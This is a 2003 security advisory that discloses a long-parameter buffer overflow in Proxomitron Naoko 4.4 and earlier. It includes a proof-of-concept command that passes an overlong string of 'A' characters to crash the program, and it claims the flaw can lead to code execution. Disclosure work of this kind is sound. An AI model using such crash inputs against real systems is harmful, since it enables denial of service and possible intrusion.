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[SCSA-005] Proxomitron Naoko Long Path Buffer Overflow/DoS


From: Grégory Le Bras | Security Corporation <gregory.lebras () security-corp org>
Date: Wed, 19 Feb 2003 21:23:33 +0100

.: Proxomitron Naoko Long Path Buffer Overflow/DoS :.
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Security Corporation Security Advisory [SCSA-005]
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PROGRAM: The Proxomitron Naoko
HOMEPAGE: http://www.proxomitron.org/
VULNERABLE VERSIONS: 4.4 and prior
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DESCRIPTION
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The Proxomitron is an Universal Web Filter.
(direct quote from Proxomitron website)


DETAILS & EXPLOITS
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Sending a parameter with a buffer of 1024 bytes in length or more, causes
Proxomitron Naoko to crash.

This vulnerability can be easily exploited to execute code.

Exploitation example :

c:\Proxomitron>proxomitron AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA


SOLUTIONS
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No solution for the moment.


VENDOR STATUS
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The vendor has reportedly been notified


LINKS
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French Version : http://www.security-corp.org/advisories/SCSA-005-FR.txt


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Grégory Le Bras aka GaLiaRePt | http://www.Security-Corp.org
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